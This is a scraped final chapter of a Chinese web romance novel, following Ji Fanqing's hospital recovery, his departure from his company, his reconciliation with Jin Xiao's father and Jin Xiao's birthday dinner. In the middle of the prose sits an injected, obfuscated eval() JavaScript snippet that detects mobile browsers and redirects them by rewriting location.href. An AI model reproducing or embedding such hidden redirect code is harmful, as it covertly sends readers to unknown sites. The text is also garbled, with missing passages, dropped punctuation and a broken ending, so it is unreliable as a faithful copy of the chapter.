第66章 66终章 永不凋零的浪漫
作品:《浪漫过敏/总裁他脑子有病》 第66章66终章永不凋零的浪漫
两天后,纪繁清在医院里再次醒来。
经此一劫,整个人元气大伤,只能被迫躺在病床上休养。
杨戬赶过来探望他,见他惨不忍睹的样子,摇头批评:“你也是,出手那么急,也不采取点战略,正所谓谋而后动,你一下把人逼急了,最后反而差点把自己搭进去,多不值当!”
纪繁清头上缠着纱布,脸颊还有些青肿,一只手腕也包了起来,看起来确实十分不好。
只是也不妨碍他摆臭脸,不耐烦道:“你要是只有这些废话,就回去吧,另外我要请一段时间假,你自己找人管公司的事吧。”
他已经很久没休过长假了,这次受了重伤,叶回也在当天就被抓到,也算是大仇得报了,他是时候放个假休息一段时间了。
岂料杨戬直接拿出一份“解聘”合同,告诉他不用请假了。
纪繁清:“……”始料未及。
“其实我很早就跟你说过,只要你有更好的去处,我不会强留你。虽然当年因为那五百万,你跟我签了十年的合约,但你带给公司的收益,早就超过数十倍了。”杨戬叹了口气:“况且十年之期也已经过了,是你自己一直把自己困在过去,不愿意往前走。这次死里逃生的鬼门关走一遭,希望你也能好好想想,未来的路你要朝哪儿走,你还年轻,不要太早地把自己框死,我这座小庙,早就不适合你了。”
纪繁清心情复杂地看着他:“你找到新的接替我的人了吗?”
“只要想找,总能找到的,一个岗位而已,又不是国家主席,还非得找个十项全能最优秀的?”杨戬坐在椅子上笑了笑:“我的公司离了谁都能活,同样的,这世上谁离了你也都能过……”
微一停顿,他看了眼门外的方向:“当然,刚刚出去的那个除外。”
纪繁清一怔,也看向门外,眼前浮现出靳逍出门时的背影。
他一直陪他住在医院里,几乎寸步不离,刚才大概是怕打扰他们谈事,才特意拿着检查单去了医生办公室。
“你是没见着你昏迷这两天他的样子,我估计你要是醒不过来,他肯定要找人去看守所里把叶回给做了。”
“……”
“好了不说了,五分钟是
上限了,我要再不走,估计人小孩要着急了。”
杨戬站起来,把解约书递到他面前,里面除了部分的歌曲版权归纪繁清,还额外划了一小部分股份给他,这样即使纪繁清什么都不做,每年也会有一笔分红。
“我说了,就当是你的嫁妆了,你也是有娘家的不是?哪天公司有难的话,你还得回来的啊!”
纪繁清看着纸上的黑体字,一时难以消化自己重伤醒来被“解雇”了的事,但又好像一切都是冥冥中注定,就像奶奶告诉他的,他该往前走了。
拿起笔,像是在与过去做某种正式的告别,纪繁清用那只受伤的手,缓慢而艰难地写下名字。
笔尖停顿时,他低声道了句:“谢谢。”
杨戬耸了耸肩,看着纪繁清的眼神有一种老父亲般的感慨,他小时候因为这个名字,一直被人喊二郎神,从前没觉得他除了名字跟二郎神有什么关联,这会儿看纪繁清倒是有一种看妹妹三圣母的感觉。
好在纪繁清并不圣母,没有找一个一无是处的凡人让他看着堵心,靳逍虽然年纪小了点儿,但也算是人中龙凤了。况且年纪小是优点呐,年轻多好,身强体壮的,一看就耐力持久干劲十足,就是可惜纪繁清不会生孩子,不然没准儿他很快就能抱上大侄子了。
止住发散的思维,杨戬拿过签好字的解约书,挥了挥跟纪繁清道了别。
他前脚刚走,靳逍后脚就回来了,坐回床边的椅子上,小声地表达不满:“你们聊什么呢,聊那么久。”
纪繁清看了眼钟:“才过去五分钟。”
靳逍哼哼两声,拿出把刀给他削苹果:“不久吗?”
纪繁清看着那把折叠军刀在他手中灵活地运作,刀刃薄而锋利,银光一晃一晃的,苹果皮接连不断晃得他头晕,于是懒得跟他争论,又靠回枕头上,眉间微蹙着脸色有些发白。
靳逍立刻草木皆兵地扔了苹果,扑过去问:“怎么了?是不是哪里不舒服?要不要叫医生过来?”
纪繁清睁开眼,有些无奈,但看着他紧张的神色,鼻腔里又微微发酸。
如果问他后不后悔对付叶回,以至于给自己招来杀身之祸,他的回答是不后悔。
再重来一遍,他还是会不遗余力地让叶回得到应有的惩罚。
法安然入睡,生怕一眨眼,眼前的一切都是幻觉。
纪繁清仍在那栋烂尾楼里,而他还没来得及赶到。
这种事情,他们都无法再承受第二次了。
午后的病房太阳懒洋洋的,纪繁清睡得迷迷糊糊,直到邹芝盈过来送晚饭,才把人吵醒。
邹芝盈站在门口,手握着门把手,略微尴尬看着病床上挤在一起的两人:“我是不是来得不是时候呀?但晚饭还是要吃的呀。
纪繁清彻底清醒了,脸上挂着抹不自然,靳逍打了个哈欠,没什么所谓地扶他坐起来,对邹芝盈道:“下次进来记得先敲门。
邹芝盈无语,心道我哪里知道你们在医院里还这么黏糊?那病床才多大?他一个病人,你快一米九的个子也好意思跟他挤在一起?你们不嫌热?
当然,吐槽的话是无法当着儿媳妇的面说出口的,她笑得一脸和蔼,咽下嘴里被强塞的狗粮:“先吃饭吧,我煲了点儿汤,给繁清补补元气。
纪繁清和靳逍就在病房里吃了饭,菜是徐阿姨做的,但汤的口味不太一样,是邹芝盈自己下厨煲的,加了些中药,有一股淡淡的药香。
靳逍一贯不喜欢她煲的汤,邹芝盈也不常下厨,但纪繁清尝了尝反而很符合他的口味,意外地多喝了一碗。
邹芝盈顿时成就感爆棚,直言要每天煲汤送过来,三人正其乐融融,门被扣响。
邹芝盈起身去开门,看到门外的靳晖时,脸上的笑容一僵,显然对方也没料到是她,一时也有些怔愣。
秘书提着一个包装精美的果篮跟在后面,眼珠里里外外地探着,心里大喊道:这种修罗场,你们就当我不存在吧!
“看来我来的不是时候,靳晖淡淡开口:“打扰到你们用餐了。
“那倒也没有。邹芝盈维持着礼貌的微笑:“你有什么事?
靳晖面露不悦:“你能来,我不能来?
邹芝盈:“……
门内,靳逍起身挡在纪繁清面前,皱眉道:“你来干什么?
靳晖闻言,更是沉下了脸:“这就是你跟你老子说话的态度?
“阿逍就是问问你来干嘛,他什么态度了?邹芝盈也不高兴了:“倒是你,一来就板着个脸,好像来要债的一样,尽扫大
家的兴!你什么态度呀?”
靳晖:“……”
他沉沉吐出口气:“他这么无法无天就是被你惯的!”
“我哪里惯了?阿逍怎么无法无天了?”邹芝盈不认同地瞪他。
眼见两人要吵起来纪繁清在病床上轻咳了一声几人立刻被拉回注意力母子俩纷纷跑过来关心他哪里不舒服要不要喝水。
纪繁清摇摇头说没事看向门口的靳晖问:“靳总今天过来是专程来探病的吗?”
靳晖接过秘书手里的果篮神色这才微微缓下来:“听说你住院了
纪繁清“哦”了一声心里虽然不明白他究竟是什么态度但面上还是得过得去:“谢谢靳总关心我没什么大碍。”
靳晖兀自走进去放下果篮用一张天生不太平易近人的脸说着:“没事就好。”
说完见靳逍和邹芝盈一直一脸戒备地盯着他好像生怕他突然做出什么恶劣行为不免脸色一沉又气闷起来。
纪繁清出声打破僵局道:“恕我没法起身招呼您了您随意坐吧。”又转向靳逍:“你去帮你爸倒杯水。”
靳逍翻了个白眼虽有些不情愿但还是照做了。
靳晖看着自己儿子言听计从的样子心中十分复杂不自觉打量起病床上的年轻人要说好看圈子里最不缺的就是好看的脸华锋里比比皆是。
只能说胜在气质吧。
“可以给我几分钟的时间我们单独聊聊吗?”靳晖问。
话音一落病房里瞬间安静下来靳逍砰的一下放下杯子:“你要干什么?”
靳晖又皱起眉:“我只不过是想和他说几句话你这是什么反应?”
邹芝盈也不太相信他只是想说几句话就算是说几句话大概也不是什么好话。
她护犊子似的堵在他面前道:“靳晖你别给我来你那套封建大家长的架子儿子已经是成年人了你少干涉他的事情!从前他小时候我没见你多管他现在他大了你跑来耀武扬威了你要是敢坏我儿子的好事我跟你没完!”
“……”靳晖气得额角直抽纪繁清适时打断他们:“没关系正好我也有些话想跟靳总说阿逍你先送阿姨下去。”
靳逍
欲言又止目露担忧纪繁清对他摇了摇头示意他安心。
最终靳逍还是带着邹芝盈出去了临走前邹芝盈回头道:“繁清有什么事可以直接打阿姨电话别人说的不用太放在心上你现在就是要专心养身体明天我再煲汤送过来。”
“好的谢谢阿姨明天见。”纪繁清浅浅地笑了笑。
邹芝盈诶了一声和靳逍一步三回头地走了。
直到他们的身影彻底消失靳晖才开口道:“说实话靳逍会栽下去我并不意外但我没想到你竟然会真的接受他。”
“为什么您会这么想?”
“他一路以来太过顺风顺水年轻气盛又没什么感情经历还总是容易热血上头什么都想尝试。但你不一样你在这个圈子里经营多年几乎靠的都是自己
“毛头小子?”纪繁清轻笑一声不认同地道:“这就是您给他的评价?那看来您也没有多了解他。您口中的缺点在我看来也正是他的优点。他年轻所以无畏遇事能一往直前没有感情经历不代表没有感情他只是对感情比较慎重宁缺毋滥。容易热血什么都想尝试是因为他是一个内核非常强大且精力异常充沛的人他做事并非三分钟热度反而每一项尝试的都可以做得很好他有热情有冲劲但并不鲁莽他是很有头脑和手腕的您太小瞧您儿子了。”
室内陷入寂静靳晖大概没想到自己纵横商场数十年最后被一个晚辈给教育了。
“或许我说这些僭越了但我想说的是不论您是否同意我们的事我都不会放手除非他先放弃但我知道他不会。”纪繁清脸色仍然苍白因此态度并不显尖锐只眼里闪动的光异常坚定:“您的态度对于我来说其实没有那么重要但对靳逍来说很重要。他虽然表现得不在乎但心里是很尊敬您的父亲这个角色在一个人的生命中是不可替代的所以我还是希望能得到您的祝福因为我不希望他有遗憾。”
两人对视片刻靳晖那双与靳逍相似的深邃黑眸动了动忽然溢出一丝笑意:“你这样想倒也省得我多说什么了。”
纪繁清眼里有些不解。
靳晖起身道:“我今天过来
原本就是想告诉你,既然你选择了跟他在一起,那以后有什么事,最好还是一家人商量着来。不要再将自己置身于危险之中,这样你不好过,靳逍也不好过,一家人都过不好。
纪繁清彻底愣住,“一家人三个人在耳边来来回回,让人发懵。
“既然你没有大碍,那我就先走了,不打扰你休息了。
门重新被关上,纪繁清靠在床头,慢半拍地反应过来靳晖的态度。
不多时,门再次被打开,靳逍回来了,迫不及待地问他,他爸跟他说了什么,有没有威胁他恐吓他甩银行卡给他之类的。
纪繁清听得头冒黑线:“你当拍戏呢。
他将靳晖部分的话转
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172567|165159||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
述给他,靳逍听了这才放下心来,见他爸竟然没反对,有一种太阳打西边出来的感觉:“难道是因为上了年纪?他竟然变得这么好说话,不过就算他反对也是没用的。
纪繁清经过这一场单方面的“对峙,情绪还未能完全平复下来,血液加速流动着,心里涌入一丝奇异的感受,像是阳光洒在雪地上,雪缓缓融化的感觉。
“他其实,挺在乎你的。
靳逍哼了一声,倒也没有反驳。
晚上不那么热了,靳逍推纪繁清去后院里散步,两人在人工湖边坐下,纪繁清坐在轮椅上,靳逍就挨着他席地而坐。
晚霞正秾丽,橘色的霞光倒映在湖面上,金灿灿一片。
靳逍抓起他垂落的一只手,轻抚着上面细小的伤口,问:“你想进华锋吗?
纪繁清垂眸看着水面,想了想,很认真地道:“不想。
“嗯。靳逍点点头:“我也不想你去。
纪繁清略感意外,他还以为靳逍会想自己进华锋,毕竟他一开始接近自己的目的就是如此。但稍一思考,又明白过来,华锋现在的掌权人是靳晖,靳逍还不能独当一面,他们现在的关系不同了,心态也不同了,他不想自己进去听别人的掌控。
两人没再就工作的事多谈。
纪繁清在医院住了一周多的时间,靳逍办公的时候,他就
拿本子写歌。
因为肖杰手里的录音,《向阳花》的原唱者站出来承认了这首歌是向叶回买的,而叶回是抄袭的别人还未发布的作品。
《梧桐树》终于回到了纪繁清手里,但经此一难后,他的心境又有了些改变,不仅重新编了曲子,连原本的歌名和歌词也作了修改。
出院后,靳逍回公司上班,纪繁清继续休息,顺便写写歌,他答应了要给肖杰做一张专辑,自然不会食言。
张若薇和团队一起飞去了瑞士拍摄MV,纪繁清因为身体原因不适合长途奔波,留在了国内,也趁着这个时间,完成了新版《梧桐树》的demo。
他在编曲中融合了很多弦乐,跟《情终》有异曲同工之处,但感情基调又截然相反,经过数次的调音改音之后,效果终于达到了满意。
一周后,是靳逍的生日。
天气已经十分炎热,靳逍开车带着纪繁清去了承德的山庄里避暑。
到达山庄后,管家来接待他们入住,顺便跟他们汇报了晚餐的安排。
晚上在户外用餐,安排的西餐,还配有乐团表演。
就连用餐的礼服,也按两人的尺寸,提前准备好了。
是一场非常正式的晚餐,毕竟是靳逍的生日,纪繁清也十分配合。
简单泡了下澡后,时间还早,靳逍在房间里处理工作,纪繁清去厨房借了工具自己给他做蛋糕。
他其实不太会,平时也不怎么下厨,但在家休息的前一个星期,他自己一个人尝试过很多次,最终可以独立完成一个还算精美的蛋糕,比靳逍第一次给他做的那个要好看多了。
蛋糕做得很顺利,纪繁清先把它放到了冰箱里,然后嘱咐管家在乐团演奏的时候,把蛋糕推出来为靳逍庆祝。
晚餐开始之前,纪繁清先回房间换衣服,他对着穿衣镜解开原本的休闲衬衣,衣领才刚从肩膀上滑落,身后便环过来一个人,有吻顺着他的脊椎骨落下。
纪繁清看着镜子里的自己,脸颊逐渐泛起红晕。
因为头上有伤,医生嘱咐不能剧烈运动,他们已经很久没做过了。
在习惯彼此的身体之后,只需要一个带着欲念的吻,就能勾起身体里的熊熊烈火。
纪繁清后背贴到穿衣镜上,冰凉的触
感引得他嘶了一声,下一刻嘴巴就被堵住。
两人交换津液,吻得又急又深,在正式的晚餐开始前,靳逍先吃了一顿餐前甜点。
……
预定的开始时间已经过了一小时,但管家很识趣地没有来催,只在两人换好衣服出来后,若无其事地笑道:“一切准备就绪,请入座吧。
外面天色已经黑了,但布置了许多照明的氛围灯,因此院内的场景一目了然,华丽又隆重。
纪繁清抿了抿红润微肿的嘴唇,和靳逍牵着手一起过去入座了。
晚餐流程有条不紊地进行着,国内知名的交响乐团被请来现场演奏,气氛被烘托到极致,管家推上蛋糕,纪繁清也拿出了另外准备的礼物。
他给靳逍准备了一个福袋,里面有一首歌的手稿,一枚拍卖会上刚拍回来的船洋银元硬币,还有一颗23克拉的宝石糖。
对应的正是除夕夜,靳逍为他准备的那个福袋。
纪繁清起身离席,问大提琴手借了琴,坐到不远处的椅子上,亲手为靳逍拉出了那首歌的前奏。
夜晚灯光闪烁,纪繁清在微凉的夜风中,静静地拉动着琴弦,漆黑的眼底仿佛藏着万千星辰,光华璀璨。
靳逍在位子上,心跳不稳地看着,余光划过桌上的那张手稿,歌曲的名字是两个字
《情钟》
是属于纪繁清的,情有独钟。
靳逍心口滚烫,喉结动了动,对纪繁清道:“该许愿了。
纪繁清将琴还给琴手,走过来给他插蜡烛,蜡烛的数字正好是23。
靳逍仰头看着他:“许了就能实现吗?
纪繁清挑眉:“或许吧,你有什么愿望?
靳逍又问:“说了繁清哥哥会帮我实现吗?
纪繁清眼皮一跳,心跳也有些不稳:“我先听听是什么愿望。
靳逍起身走到他身边,牵起他的手:“我过个生日而已,你给我花了这么多钱,是真要包养我啊,那就允许我再贪心一点儿吧,我再要一样东西,你先闭上眼。
纪繁清不明所以,不是许愿的人闭眼吗?
“听话,配合一下,先闭上眼!靳逍捏了捏他的手指。
纪繁清无奈地配合,没办法寿星最大。